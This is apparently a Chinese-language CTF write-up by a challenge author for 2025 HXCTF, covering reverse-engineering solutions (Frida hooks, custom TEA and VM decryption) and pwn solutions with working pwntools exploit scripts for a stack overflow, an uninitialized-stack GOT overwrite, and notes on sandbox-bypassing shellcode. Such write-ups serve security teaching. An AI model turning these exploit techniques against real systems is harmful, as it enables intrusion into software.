2025HXCTF-WP

D0wnBe@t Lv4

前言

此次也是第二次出题吧,但是真正说起来其实算是第一次作为主办方之一筹备比赛,之前的UCSC CTF也只是出了一个签到题,没什么参与感,此次作为主办方之一参与感满满,pwn是第二次出题,但是没验题,导致题目有点瑕疵,望各位师傅们海涵😭😭 RE是第一次出题,由于本人也不是主学RE,实力太菜了,出题问题有点多,抱歉给做题的各位师傅造成了一些困扰。

这几天的比赛很感谢各位师傅的参与,比赛也圆满结束了,有任何吐槽都可以dd我,现将部分wp(本人出的题+写过的题)置于此:

RE

flower + tea?

https://plastic-tire-e58.notion.site/2025-1a0ca45ea8a48033b526dfd51015a193

Pyarmor_signin

两种方法

  • 直接pdb运行即可

注意要在win下,因为pyd是win下生成的,放在linux里面会显示没有该模块

95ef9f31054f37cd64ed33abda736683

  • Lilran佬的项目:

https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot

01ec50ad952b8eadb0610b8b49ccad4c

time’sUP

简单的frida hook出参数,先base64解密,然后AES直接解密即可:

image-20250512125418114

JEB反编译查看:

image-20250512125358432

输入的字符串赋值给 s ,然后就是获得一些AES的关键参数,进行AES解后,再base64解密即可,最开始我是想要动调的,但是发现程序启动了反调试,由于不太会JEB动调改参数(尝试了一下发现不知如何操作),所以想着写frida hook出参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
console.log("Frida hook loaded");

Java.perform(function() {
var main = Java.use("com.example.appre.MainActivity");
// var Debug = Java.use("android.os.Debug");
// Debug.isDebuggerConnected.implementation = function () {
// var result = this.isDebuggerConnected();
// console.log("Debugger connected? => " + result);
// console.log("你pass了debug_check");
// return result;
// };
main.aesCbcEncrypt.overload('[B','[B','[B').implementation = function (data, key, iv) {
console.log("=== getKey() ===");
console.log("arr_b: " + Java.array('byte', key).toString());

console.log("=== getIv() ===");
console.log("arr_b1: " + Java.array('byte', iv).toString());

console.log("=== input bytes ===");
console.log("arr_b2: " + Java.array('byte', data).toString());

return result;
}

})

image-20250512130107972

arr_b由于是基于时间戳随机生成的,我是后面才写的wp,此时随机数已经不一样了,幸好,我还有之前的截图:

4b904ef3ca7198d8688a5ebd2495ee7

然后直接赛博厨子一把梭

1
2
3
base64: WYxFmpzM0nrYaYtSa8pZupeHYQ2zpK+6VLJL7Wmqvw+qMOmOMDH3UzfATiac1Ine
key: 301befa9c8f7d91aca16400ece61ff0d
IV: 123456789abcdef0

image-20250512130815908

EzBianry

本地native加密,二叉树

image-20250512132602098

这个是native层加密的函数,所以直接看so文件吧:

image-20250512132729257

查看encode函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
_QWORD *__fastcall encode(__int64 input, __int64 a2, int len_1)
{
int v3; // w8
_QWORD *result; // x0
char v7; // w19
int v8; // w8
unsigned int v9; // w21
_QWORD *v10; // x22
_QWORD *v11; // x0
char v12; // w20
_QWORD *v13; // x19

v3 = len_1 - a2; // a2初始=0
if ( len_1 < a2 )
return 0LL;
if ( len_1 == a2 ) // 叶子节点:只有一个字符
{
v7 = *(input + len_1);
result = malloc(0x18uLL);
*result = v7;
result[1] = 0LL;
result[2] = 0LL;
}
else
{
if ( v3 + 1 >= 0 )
v8 = v3 + 1;
else
v8 = v3 + 2;
v9 = a2 + (v8 >> 1);
v10 = encode(input, a2, v9 - 1);
v11 = encode(input, v9, len_1 - 1);
v12 = *(input + len_1);
v13 = v11;
result = malloc(0x18uLL);
*result = v12;
result[1] = v10;
result[2] = v13;
}
return result;
}

其实就是二叉树的后续遍历,然后与既定数据比较即可:

image-20250512132921662

由于数据不是很多,可以直接手搓,然后画图来着:

Screenshot_20250512_133024_com_hihonor_notepad_No

C++++_revenge

C++++就不说了,其实加密算法和这个是一样的,但是这里有一个 trick 很恶心:

先看主函数:

image-20250512131417157

其实分析起来还是挺简单的,加载了两个汇编写成的函数,然后将读入的数据存到text里,然后进过 do_main汇编函数操作之后于data比较即可,来看看两端汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[ENABLE]
alloc(main, $1000)
label(cmp_body)
label(exit)
main:
mov rdi, input
call encrypt
mov rdi, input
mov rsi, data
mov rcx, 5
mov rdx, 0x1234567890abcdef
cmp_body:
mov rax, qword ptr [rdi]
xor rax, rdx
cmp rax, qword ptr [rsi]
jnz exit
add rdi, 8
add rsi, 8
sub rcx, 1
test rcx, rcx
jnz cmp_body
exit:
mov r8, data
mov [r8+0x200], rcx
ret

createthread(main)
registersymbol(main)
[DISABLE]
dealloc(main)
unregistersymbol(main)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
[ENABLE]
alloc(encrypt, $1000)
alloc(data, $1000)
label(loop_init)
label(loop_body)
label(input)
encrypt:
push rbp
mov rbp, rsp
mov QWORD PTR [rbp-8], rdi
jmp loop_init
loop_body:
mov rax, QWORD PTR [rbp-8]
movzx eax, BYTE PTR [rax]
sub eax, 1
sal eax, 4
mov edx, eax
mov rax, QWORD PTR [rbp-8]
movzx eax, BYTE PTR [rax]
movsx eax, al
sub eax, 1
sar eax, 4
or eax, edx
xor eax, 0xb2
mov edx, eax
add edx, 7
mov rax, QWORD PTR [rbp-8]
mov BYTE PTR [rax], dl
add QWORD PTR [rbp-8], 1
loop_init:
mov rax, QWORD PTR [rbp-8]
movzx eax, BYTE PTR [rax]
test al, al
jne loop_body
pop rbp
ret
data+100:
input:
db 00 00 00 00
registersymbol(input)
registersymbol(encrypt)
registersymbol(data)
[DISABLE]
dealloc(encrypt)
unregistersymbol(encrypt)

dealloc(data)
unregistersymbol(data)
unregistersymbol(input)

具体分析后面再说,先来看看 trick

最开始我以为 AutoAssembler 是 c#自带的方法,但其实不是啊,出题人 S1nyer 还是太超模了,竟然自己搓了一个,还是tql,不削能玩?所以只能去审代码了,在这里将 main 函数异或的数值改了,还是太恶心了

image-20250512132045308

那么直接上EXP吧(ai写的,自己不想写了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <stdint.h>
#include <string.h>

uint8_t encrypt_byte(uint8_t c) {
uint8_t a = c - 1;
uint8_t left = a << 4;
uint8_t right = a >> 4;
uint8_t combined = left | right;
return (combined ^ 0xb2) + 7;
}

int decrypt_byte(uint8_t encrypted, uint8_t *result) {
for (int i = 1; i < 256; i++) {
if (encrypt_byte((uint8_t)i) == encrypted) {
*result = (uint8_t)i;
return 1;
}
}
return 0;
}

int main() {
uint8_t data[48] = {
146, 175, 245, 251, 158, 104, 164, 42,
131, 63, 148, 43, 126, 79, 114, 245,
1, 234, 51, 249, 24, 143, 229, 53,
98, 63, 228, 190, 72, 31, 114, 51,
100, 237, 54, 205, 239, 42, 34, 54,
131, 154, 196, 158, 143, 127, 222, 17
};

uint64_t xor_key = 7883960661928599903; // 做了修改

// 解密后应该是 encrypt(input) 的结果,先 xor
uint8_t encrypted_input[48];
for (int i = 0; i < 6; i++) {
uint64_t block;
memcpy(&block, &data[i * 8], 8);
block ^= xor_key;
memcpy(&encrypted_input[i * 8], &block, 8);
}

// 还原原始输入
uint8_t flag[49] = {0};
for (int i = 0; i < 48; i++) {
if (!decrypt_byte(encrypted_input[i], &flag[i])) {
printf("Failed to decrypt byte at index %d\n", i);
return 1;
}
}
printf("Recovered flag: %s\n", flag); // HXCTF{H0w_u_Lik3_dotnet?I_think_it_1s_powerful!}
return 0;
}

ez_turing

应该是最难的题目了吧,但其实难点是在分析上,我纯手动分析了差不多五个小时,略微折磨🥵🥵

该题目wp的pdf纯享版: https://pan.baidu.com/s/1vP5GkGFUSlHcBOQxsXJdNg?pwd=flag 提取码: flag

小记ezVM 即可

  • 主函数如下,根据vmcode.bin里面的数据进行操作,然后最后满足a[8]的值即可,opcode都在 fun__函数里面,分析即可

image-20250512133436153

  • 具体分析看分享的pdf吧:

总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
a1[18] 存储着堆指针
a1[19] = malloc(0x2000uLL);
a1[18] = a1[19];
switch (op)
01: a1[v2+1] += a1[v3+1] 操作数 += 3
02: a1[v2+1] += v3 操作数 += 10
03: a1[v2+1] -= a1[v3+1] 操作数 += 3
04: a1[v2+1] -= v3 操作数 += 10
05: a1[v2+1] *= a1[v3+1] 操作数 += 3
06: a[v2+1] *= v3 操作数 += 10
07: a1[v2+1] = a[v3+1] 操作数 += 3
08: a1[v2+1] ^= a1[v3+1] 操作数 += 3

09: heap , 操作数 += 2
0A: a1[18] -= 8 a1[v2+1] = *a1[18] 操作数 += 2

0B: a1[1] = a[v3+1] - a[v2+1] 操作数 += 3
0C: 无数据操作 操作数 += 3+v2
0D: if(!a1[1]) 操作数 += v2+3
else 操作数 += 3
0E: if(a1[1]) 操作数 += v2+3
else 操作数 += 3
0F: a1[1+v2] <<= v3 操作数 += 3
10: a1[v2+1] >>= v3 操作数 += 3

下面获取堆上数据进行操作
11: a1[v2+1] = *(a1[19] + v3) 操作数 += 4
12: *(v3+a1[19]) = a1[1+v2] 操作数 += 4
13: a1[v2+1] = *(a1[19] + a1[v3+1]) 操作数 += 3
14: *(a1[v2+1] + a1[19]) = a1[v3+1] 操作数 += 3
15: a1[20] = 0 结束操作

vmcode分析

  • 判断flag正确:
1
a1[8] = 0x9A55

直接看到vmcode.bin最后部分

image-20250413015338548

如图所示,若是要使得a1[8]=0x9A55 ,则满足两个要求

  1. 08 00 06: a1[1] ^= a1[7]
  2. 0E 0E: if(a1[1]) 操作数 += 0xe+3 –> 即跳转到 a1[8]=0xDEAD那条操作了。

注:08 07 07 :是将a1[8]清零

所以要满足a1[1] ^= a1[7] = 0,即 a1[1] = a1[7]!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

继续往上分析,可以发现有几个地方都存在如上的验证!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

image-20250413021141228

  • 总结一下验证:

a1[19]即堆上填满了flag的数据,一共6*8=48个数据,所以flag长度应该在41-48之间

每次取8字节堆上数据放到a1[1]中,然后与a1[i+1]进行 ^= ,结果必须为0,即堆上数据与a1[1+i](i=1-6)相同

继续分析

tips1:一连串的a[i+1](i=1~6)=a1[16]的赋值,然后再加上一个立即数

tips2:感觉不太能执行,不然会执行 0c直接跳转不知道哪去了,那么tips1就没执行了

0xD0h行:0B 0B 0F 0E A4 感觉也不太对,a1[1] = a1[16] - a1[13],若不为0,0E执行跳转0xA4+3 ,执行 0x180h行的0E 0E ,由于a[1]=0,那么还是会继续跳转,此时跳转就是0xDEAD了,故a1[1] = a1[16] - a1[13]=0,但是然后运行14 06 01...又不会跳转到tips了,神奇

tips开头:很神奇,第一个 0E确实跳转了,但是这里存在单字节溢出的现象,相当于又回到开头了,然后不停的循环,直到v6=0,即数据都读完,并且通过a1[1]和操作指令09 将数据都存入堆上,地址为a1[19]

正式加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
// key,需要动调
a1[8] += 0xE8
a1[9] += 0x89
a1[10] += 0x87
a1[11] += 0xE6

a1[5] = a1[16]
a1[6] = a1[2]
a1[6] >>= 1
a1[1] = a1[6] - a1[5] // 40h行 0B 04 05,后面D0h行会跳转过来 | 外层循环加密所有数据

// 50h行,0D并没有跳转 , 跳转条件依赖于 a1[6]=a1[5],即加密完全部数据
// 直接跳转到 F0h的 07 01 0F... 即tips2的一连串赋值操作
a1[7] = a1[5]

// 下面就是取出input存储在堆上的数据
a1[7] <<= 1
a1[2] = *(a1[19]+a1[7]*8) // 取第一个八字节 , v0
a1[7] += 1
a1[3] = *(a1[19]+a1[7]*8) // 取第二个八字节 , v1
a1[7] -= 1

a1[4]清零 // 70h行
a1[12] += 0x18 // 0x18轮

a1[4] += 0x21 // 80h行:02 03 21 , 后面会跳转回来 , 类似于tea的delta | 内层循环轮数
a1[13] = a1[3]
a1[13] <<= 4
a1[13] += a1[8]
a1[14] = a1[3]
a1[14] += a1[4]
a1[15] = a[3]
a1[15] >>= 5
a1[15] += a1[9]
a1[13] ^= a1[14]
a1[13] ^= a1[15]
a1[2] += a1[13] // A0h行:01 01 0c

a1[13] = a1[2]
a1[13] <<= 4
a1[13] += a1[10]
a1[13] = a1[2]
a1[14] += a1[4]
a1[15] = a1[2]
a1[15] >>= 5
a1[15] += a1[11]
a1[13] ^= a1[14]
a1[13] ^= a1[15]
a1[3] += a[13]
a1[12] -= 1

a1[1] = a1[16] - a1[12] // D0h行:0B 0B 0F 然后执行跳转,同样溢出,然后回到80h | 内层循环轮数
// 退出循环条件为 a1[16] = a1[12] , 其中a1[16]=0,a1[12]即为轮数,0x18轮

//跳出循环之后
*(a1[19]+a1[7]*8) = a1[2]
a1[7] += 1
*(a1[19]+a1[7]*8) = a1[3]
a1[5] += 1
// 此时会执行F0h的 0C 54 ,这是直接跳转指令
操作数 += 0x54+3 ,溢出,跳转到 40h行的 10 05 01 | 外层循环加密所有数据


// F0h行 tips2 一系列赋值操作
// 但是要动调才能看到
a1[2] = a1[16]
a1[2] += 0x58
a1[3] = a1[16]
a1[3] += 0x26
a1[4] = a1[16]
a1[4] += 0xB9
a1[5] = a1[16]
a1[5] += 0xA4
a1[6] = a1[16]
a1[6] += 0xD9
a1[7] = a1[16]
a1[7] += 0x87

// 然后就是验证了
a1[1] = *(a1[19] + i*8) // 堆上取i*8个字节 , i=0,1,2,3,4,5,
a1[1] ^= a1[k] k=2,3,4,5,6,7

通过看加密的算法,其实比较容易看出是tea加密,但是是64位的,对比一下标准的32位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void Encrypt(long* EntryData, long* Key)
{
// 题目是从堆上获取的数据
unsigned long x = EntryData[0];
unsigned long y = EntryData[1];

unsigned long sum = 0;
unsigned long delta = 0x9E3779B9;

for (int i = 0; i < 32; i++)
{
sum += delta;
x += ((y << 4) + Key[0]) ^ (y + sum) ^ ((y >> 5) + Key[1]);
y += ((x << 4) + Key[2]) ^ (x + sum) ^ ((x >> 5) + Key[3]);
}

EntryData[0] = x;
EntryData[1] = y;
}

动调key、明文、delta(没截图,不想截图了)

6fe322137a3308e4ba3da30d7a28a86c

image-20250413145120649

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#include <stdint.h>
#include <stdio.h>

// 打印64位值的ASCII字符
void print_ascii(uint64_t value) {
unsigned char *bytes = (unsigned char *)&value;
for (int i = 0; i < 8; i++) {
// 只打印可打印ASCII字符(32-126)
if (bytes[i] >= 32 && bytes[i] <= 126) {
printf("%c", bytes[i]);
} else {
printf("\\x%02X", bytes[i]); // 非可打印字符以十六进制显示
}
}
}

// TEA加密函数
void tea_encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1];
uint32_t sum = 0;
uint32_t delta = 0x9e3779b9;

uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];

for (int i = 0; i < 32; i++) {
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
}

v[0] = v0;
v[1] = v1;
}

// TEA解密函数
void tea_decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1];
uint32_t sum = 0xC6EF3720; // delta * 32
uint32_t delta = 0x9e3779b9;

uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];

for (int i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}

v[0] = v0;
v[1] = v1;
}

// // 上面是标准的tea加密 , 但是题目略有不同

void my_encrypt(uint64_t* v , uint64_t* k){
uint64_t delta = 0xCAFEBABE0D000721;
uint64_t v0 = v[0] , v1 = v[1];
uint64_t sum = 0;
uint64_t k0 = k[0] , k1 = k[1] , k2 = k[2] , k3 = k[3];

for(int i = 0 ; i < 24 ; i++){
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
}

v[0] = v0;
v[1] = v1;
}

void my_decrypt(uint64_t* v , uint64_t* k){
uint64_t delta = 0xCAFEBABE0D000721;
uint64_t v0 = v[0] , v1 = v[1];
uint64_t sum = 0xCAFEBABE0D000721 * 24;
uint64_t k0 = k[0] , k1 = k[1] , k2 = k[2] , k3 = k[3];

for (int i = 0; i < 24; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}

v[0] = v0;
v[1] = v1;
}


int main() {
uint64_t key[] = { 0x9CE6A58BE681A6E8 , 0x0E68885E585BFE589, 0x0BB8EE5B1A4E58287 , 0x8FE5A58EE68E80E6};
uint64_t encrypt_data[] = {0x9225C2295691ED58 , 0x0F58044F637F80C26 , 0x0F9F30D9F992BC3B9,
0x0E5D8537D9674CCA4 , 0x2D977B86002702D9 , 0x6DE2B4196F76B787};

for(int i = 0 ; i < 6 ; i+=2){
my_decrypt(encrypt_data+i , key);

print_ascii(encrypt_data[i]);
print_ascii(encrypt_data[i+1]);
printf("\n");

printf("解密后 : %08X %08X\n" , encrypt_data[i] , encrypt_data[i+1]);

}
return 0;
}
1
HXCTF{2_0wn_th3_d@wn_must_endure_the_dusk}

ezcsharp

感谢吴✌供题,wp见下方

https://pan.baidu.com/s/1vP5GkGFUSlHcBOQxsXJdNg?pwd=flag

链接里面查看word文档

PWN

部分题目附件: https://pan.baidu.com/s/1H_hs_r5PgWvkY90AFizsBw?pwd=flag

签到1-calc

docker镜像:downbeat26/calc

题目很简单,brop,60s内完成100题即可,算式的结构给的很好了,直接写脚本即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
import re

def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
p.interactive()

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

# p = process("./calc")
p = remote("43.139.51.42",38118)
ru("Come on!\n")

for _ in range(100):
ru("problem: ")
calc = p.recvuntil(" \n",drop=True).decode().strip()
calc = calc.replace('/', '//') #
print("calc is: ",calc)
ans = eval(calc)
sleep(0.1)
sl(str(ans))
ru("flag{")
print("flag{" + p.recv().decode())

image-20250512170403190

签到2-ezStack

docker镜像:downbeat26/ezstack

ubuntu22下编译

题目就简单的 ret2text ,但是存在 IBT 保护,跳转 backdoor 的时候不能跳转到函数开头的 endbr64,所以可以选取 lea 那一条指令,如下:

image-20250512183629130

选取这个:

image-20250512183658629

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
p.interactive()

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"] # wsl
file = "./pwn"
# libc = "./libc.so.6"


p = process(file)
# p = remote("43.139.51.42",33063)
# elf = ELF(file)
#libc = ELF(libc)
# p = remote("",)

backdoor = 0x040130C
payload = cyclic(0x38) + p64(backdoor)
sla("credits!\n",payload)
ia()

签到3-uninitialized

docker镜像:downbeat26/uninitialized

ubuntu18下编译

32位 栈上变量为初始化,导致栈上数据复用,后续 scanf("%d",a) 导致任意地址写。

简单说两句

没想到该题目校外三解,校内一解,预期解其实没那么少的,或许是写pwn的人太少了,该题目是 S1nyer 叫我出的,说该点的时候我想起在 2024moectf 的比赛里面就有个类似的,所以说可以是参考的那道题目,大家可以去西电比赛平台复现那道题目。

分析

很多师傅们反应程序无法运行,ldd pwn 可以查看什么缺少,大部分师傅们是缺少该so文件,该so文件包含了一个真随机数生成的函数 arc4random ,所以缺少的师傅们自行安装即可

image-20250512185215861

1
sudo apt install libbsd0:i386
  • 开始正式分析:

image-20250512185431716

  • 主函数看着很简单:

image-20250512190316709

  • table()函数就是往里面的buf数组填入随机数,然后输出出来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __cdecl fill(int a1)
{
int i; // [esp+8h] [ebp-10h]
int v2; // [esp+Ch] [ebp-Ch]

for ( i = 0; i <= 3; ++i )
{
v2 = 8 * i;
*(_BYTE *)(v2 + a1) = list1[arc4random() % 0x1Au];
*(_BYTE *)(v2 + 1 + a1) = list2[arc4random() % 0x1Au];
*(_BYTE *)(v2 + 2 + a1) = list2[arc4random() % 0x1Au];
*(_BYTE *)(v2 + 3 + a1) = list3[arc4random() % 0x1Au];
*(_BYTE *)(v2 + 4 + a1) = list1[arc4random() % 0x1Au];
*(_BYTE *)(v2 + 5 + a1) = list3[arc4random() % 0x1Au];
*(_BYTE *)(v2 + 6 + a1) = list2[arc4random() % 0x1Au];
*(_BYTE *)(v2 + 7 + a1) = 0;
}
}
  • 继续往下分析 game1()

image-20250512192729050

往buf读入8字节数据,然后与s1比较,相等的话才会 pass game1,但是s1并未输入,如何比较呢?这时候就可以动调看看栈上的数据:

image-20250512203250158

可以发现s1对应的就是之前 table() 函数填充该函数里面的buf数组所残留下来的数据,因此我们只需要接收到该部分的字符,然后再填充到 game1() 函数的buf数组里面,即可绕过 strcmp() 函数

1
2
3
4
5
# step1 leak data and pass game1
ru("Now, here is a magical code!\n")
p.recv(16)
payload = p.recv(8)
print(payload)
  • 接着分析 game2()

该函数里又有两个子函数 func() vuln() ,其实 game1() 就是为了让大家了解未初始化栈的危害,然后在game2() 的时候利用该危害,用心良苦😭😭

先看到 func() 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned int func()
{
char buf[32]; // [esp+Ch] [ebp-2Ch] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Gogogo , chufalou!");
len = read(0, buf, 0x14u); // 同样会覆盖下一个子函数的栈空间
if ( len <= 0 )
exit(0);
puts(buf); // 其实最初这里是打算设置一个覆盖canary的\x00从而泄露canary和栈地址的,但是后面出简单了
return __readgsdword(0x14u) ^ v2;
}

再看到 vuln() 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned int vuln()
{
int v1; // [esp+Ch] [ebp-1Ch]
int v2; // [esp+10h] [ebp-18h]
unsigned int v3; // [esp+1Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
puts("Can you controll it?");
len = (__isoc99_scanf)("%d %d"); // 乍一看还看不懂
if ( len <= 0 )
exit(0);
if ( v1 != 11386543 || v2 != 47806 ) // v1 v2哪冒出来的?
exit(0);
system("cat flag");
return __readgsdword(0x14u) ^ v3;
}

看到汇编:

image-20250512205129179

可以发现ida没有正常显示就是因为我们并不是往栈上所指向的地址写入数据,就相当于 scanf("%d",a) ,这里就造成了一个任意地址写的问题,动调看看:

假设 func() 函数里输入:

1
payload = b'a'*4 + b'b'*4 + b'c'*4 + b'd'*4 + b'e'*4

image-20250512211128625

可以发现我们正好可以对最后四字节所指向的地址进行写,但是这里没指向任何内容,但是我们已经知道我们可以控制最后四字节,但是对其进行任意写,那么思路就比较明显了。

由于 v1 v2的条件肯定是不满足的,因此会调用 exit()函数,那么我们改 exit_got 指向system("cat flag") 的地址即可.

还有个知识点可以讲讲

1
2
scanf("%d",&a);
此时输入 '+' '-' 可以跳过输入

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
p.interactive()

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

p = process("./pwn")
# p = remote("43.139.51.42",35724)
elf = ELF("./pwn")
puts_got = elf.got['puts']
exit_got = elf.got['exit']
cat_flag = 0x8048B51


# step1 leak data and pass game1
ru("Now, here is a magical code!\n")
p.recv(16)
payload = p.recv(8)
print(payload)
# bug()
sa("Tell me what you think!\n",payload)

# step2 cover stack_data to controll v2 v3
payload = b'a'*0x10
payload += p32(exit_got)
# bug()
sa("chufalou!\n",payload);

# step3 modify exit_got -> cat flag
payload = str(cat_flag).encode() +b'\n' + b'+'

sla("controll it?\n",payload)
print(p.recv())

题目后续

其实还有个64位的没上,感兴趣的可以试一下,没上的原因就是因为自己测了一下没写出来😫😫:

PWN标题下的网盘链接,查看 unintialized 文件夹即可,源代码也给出了。

签到4-babyshellcode

docker镜像:downbeat26/babyshellcode

ubuntu18下编译,沙箱禁用 字节码禁用syscall, SYS_execve

前言

我靠啊,五一玩嗨了,题目出现大bug还没发现,问校内一血才知道非预期非完了,又看了一下题目才知道出错了,所以立马下线了,先说一下之前的Bug以及最开始的简单解法:

image-20250512213348191

最开始用的是 strlen()函数来判断写入的字节码的长度,这也就导致有\x00就会截断长度,因此一个 openat()函数就直接绕过了check ,绷不住了。

然后最开始给了0x100字节,可以直接用可见字符shellcode 绕过check,直接用 AE64(),项目如下:

https://github.com/veritas501/ae64

这个就不细说了,可以自己看看,其生成的长度是0xe4,比0x100是 小的,所以我最开始也是这么写的,不用动脑筋,但是为了考虑到这题目就是要选手们自己动手写写shellcode,因此将0x100改成了100字节。

相应的再推荐两篇文章看看:

关于常见沙箱解法的总结:https://blog.xmcve.com/2022/07/16/Sandbox%E6%80%BB%E7%BB%93/

